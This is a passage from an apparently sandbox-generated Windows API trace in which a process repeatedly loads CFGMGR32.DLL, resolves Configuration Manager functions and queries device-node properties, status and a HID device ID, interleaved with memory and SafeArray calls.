dnDevInst=0x25, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0189.466] malloc (_Size=0x48) returned 0x196ef0fb680 [0189.466] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x51c85f82, dwHighDateTime=0x1d9eb0c)) [0189.467] SetEvent (hEvent=0x248) returned 1 [0189.471] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0189.471] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0189.472] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0189.472] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0189.472] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0189.472] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0189.472] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0189.472] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0189.472] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0189.472] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0189.473] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0189.473] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0189.473] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0189.473] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0189.473] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0189.473] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0189.473] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0189.473] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0189.474] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0189.474] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0189.474] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0189.474] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0189.474] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0189.474] malloc (_Size=0x18) returned 0x196ef0d1fa0 [0189.474] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x25, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0189.476] malloc (_Size=0x48) returned 0x196ef0fb7c0 [0189.476] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x51cab65b, dwHighDateTime=0x1d9eb0c)) [0189.477] SetEvent (hEvent=0x248) returned 1 [0189.483] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0189.483] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0189.484] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0189.484] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0189.485] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0189.485] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0189.486] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0189.959] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0189.960] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0189.960] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0189.960] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0189.960] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0189.960] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0189.960] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0189.960] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0189.961] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0189.961] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0189.961] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0189.961] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0189.961] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0189.961] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0189.961] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0189.961] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0189.962] malloc (_Size=0x18) returned 0x196ef0d1ca0 [0189.962] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0x25, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0189.962] malloc (_Size=0x48) returned 0x196ef0fb310 [0189.962] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x5214a074, dwHighDateTime=0x1d9eb0c)) [0189.962] SetEvent (hEvent=0x248) returned 1 [0189.967] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0189.967] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0189.967] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0189.967] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0189.968] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0189.968] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0189.968] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0189.968] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0189.968] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0189.968] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0189.968] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0189.968] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0189.969] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0189.969] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0189.969] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0189.969] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0189.969] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0189.969] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0189.970] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0189.970] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0189.970] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0189.971] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0189.971] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0189.971] malloc (_Size=0x18) returned 0x196ef0d1d20 [0189.971] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0x25, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0189.971] malloc (_Size=0x48) returned 0x196ef0fb3b0 [0189.971] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x52170388, dwHighDateTime=0x1d9eb0c)) [0189.972] SetEvent (hEvent=0x248) returned 1 [0189.975] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0189.975] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0189.975] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0189.975] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0189.975] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0189.975] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0189.976] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0189.976] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0189.976] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0189.976] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0189.976] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0189.976] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0189.976] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0189.977] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0189.977] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0189.977] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0189.977] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0189.977] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0189.977] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0189.977] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0189.978] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0189.978] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0189.978] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0189.978] malloc (_Size=0x18) returned 0x196ef0d1a60 [0189.978] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x25, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0189.979] malloc (_Size=0x48) returned 0x196ef0fbe00 [0189.979] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x52170388, dwHighDateTime=0x1d9eb0c)) [0189.979] SetEvent (hEvent=0x248) returned 1 [0189.983] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0189.983] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0189.984] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0189.984] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0189.984] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0189.984] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0189.984] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0189.984] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0189.984] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0189.984] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0189.985] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0189.985] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0189.985] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0189.985] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0189.985] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0189.985] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0189.985] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0189.986] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0189.986] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0189.986] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0189.986] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0189.986] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0189.986] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0189.987] malloc (_Size=0x18) returned 0x196ef0d20c0 [0189.987] CM_Get_Device_IDA (in: dnDevInst=0x26, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="HID\\VID_0A81&PID_0203\\6&7C90793&0&0000") returned 0x0 [0189.987] malloc (_Size=0x48) returned 0x196ef0fb860 [0189.987] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x5219688c, dwHighDateTime=0x1d9eb0c)) [0189.987] SetEvent (hEvent=0x248) returned 1 [0189.990] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0189.990] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0189.990] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0189.991] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0189.991] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0189.991] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0189.991] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0189.991] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0189.991] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0189.991] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0189.991] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0189.992] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0189.992] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0189.992] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0189.992] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0189.992] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0189.992] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0189.992] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0189.993] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0189.993] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0189.993] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0189.993] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0189.993] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0189.993] malloc (_Size=0x18) returned 0x196ef0d1bc0 [0189.993] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x26, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0189.994] malloc (_Size=0x11e) returned 0x196ef0d6890 [0189.994] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x26, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0d6890, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d6890, pulLength=0x67117d608) returned 0x0 [0189.995] free (_Block=0x196ef0d6890) [0189.995] malloc (_Size=0x48) returned 0x196ef0fb450 [0189.995] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x5219688c, dwHighDateTime=0x1d9eb0c)) [0189.995] SetEvent (hEvent=0x248) returned 1 [0189.997] malloc (_Size=0x18) returned 0x196ef0d1e80 [0189.997] SafeArrayPutElement (psa=0x196ee7bec60, rgIndices=0x67117d6d8, pv=0x196ee7aade8) returned 0x0 [0189.997] free (_Block=0x196ef0d1e80) [0189.997] malloc (_Size=0x18) returned 0x196ef0d1d20 [0189.997] SafeArrayPutElement (psa=0x196ee7bec60, rgIndices=0x67117d6d8, pv=0x196ee777cf8) returned 0x0 [0189.997] free (_Block=0x196ef0d1d20) [0189.998] malloc (_Size=0x18) returned 0x196ef0d1a40 [0189.998] SafeArrayPutElement (psa=0x196ee7bec60, rgIndices=0x67117d6d8, pv=0x196ee777cf8) returned 0x0 [0189.998] free (_Block=0x196ef0d1a40) [0189.998] malloc (_Size=0x18) returned 0x196ef0d1da0 [0189.998] SafeArrayPutElement (psa=0x196ee7bec60, rgIndices=0x67117d6d8, pv=0x196ee777cf8) returned 0x0 [0189.998] free (_Block=0x196ef0d1da0) [0189.998] malloc (_Size=0x18) returned 0x196ef0d1b00 [0189.998] SafeArrayPutElement (psa=0x196ee7bec60, rgIndices=0x67117d6d8, pv=0x196ee777cf8) returned 0x0 [0189.998] free (_Block=0x196ef0d1b00) [0189.998] malloc (_Size=0x18) returned 0x196ef0d19a0 [0189.998] SafeArrayPutElement (psa=0x196ee7bec60, rgIndices=0x67117d6d8, pv=0x196ee7aa9e8) returned 0x0 [0189.998] free (_Block=0x196ef0d19a0) [0189.998] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee855360 [0189.999] SafeArrayGetDim (psa=0x196ee7bec60) returned 0x1 [0189.999] SafeArrayGetLBound (in: psa=0x196ee7bec60, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0189.999] SafeArrayGetUBound (in: psa=0x196ee7bec60, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0189.999] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ef3b62f0 [0189.999] SafeArrayGetDim (psa=0x196ee7bec60) returned 0x1 [0189.999] SafeArrayGetUBound (in: psa=0x196ee7bec60, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0189.999] SafeArrayGetElemsize (psa=0x196ee7bec60) returned 0x8 [0189.999] SafeArrayGetElement (in: psa=0x196ee7bec60, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0189.999] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7bf910, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0190.000] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7bf918, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0190.000] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7bf920, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0190.000] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7bf928, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0190.000] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7bf930, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0190.000] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7bf938, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0190.001] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef3b62f0) returned 1 [0190.111] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee855360) returned 1 [0190.112] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0190.112] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0190.112] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0190.113] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0190.113] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0190.113] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0190.114] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0190.114] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0190.114] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0190.115] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0190.115] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0190.115] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0190.116] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0190.116] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0190.116] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0190.117] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0190.117] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0190.117] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0190.118] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0190.118] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0190.118] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0190.119] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0190.119] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0190.119] malloc (_Size=0x18) returned 0x196ef0d1d20 [0190.119] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x26, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0190.120] malloc (_Size=0x4) returned 0x196ef0d6d00 [0190.120] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x26, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x196ef0d6d00, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d6d00, pulLength=0x67117d608) returned 0x0 [0190.120] free (_Block=0x196ef0d6d00) [0190.120] malloc (_Size=0x48) returned 0x196ef0fba40 [0190.120] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x522c85e6, dwHighDateTime=0x1d9eb0c)) [0190.121] SetEvent (hEvent=0x248) returned 1 [0190.125] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0190.125] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", 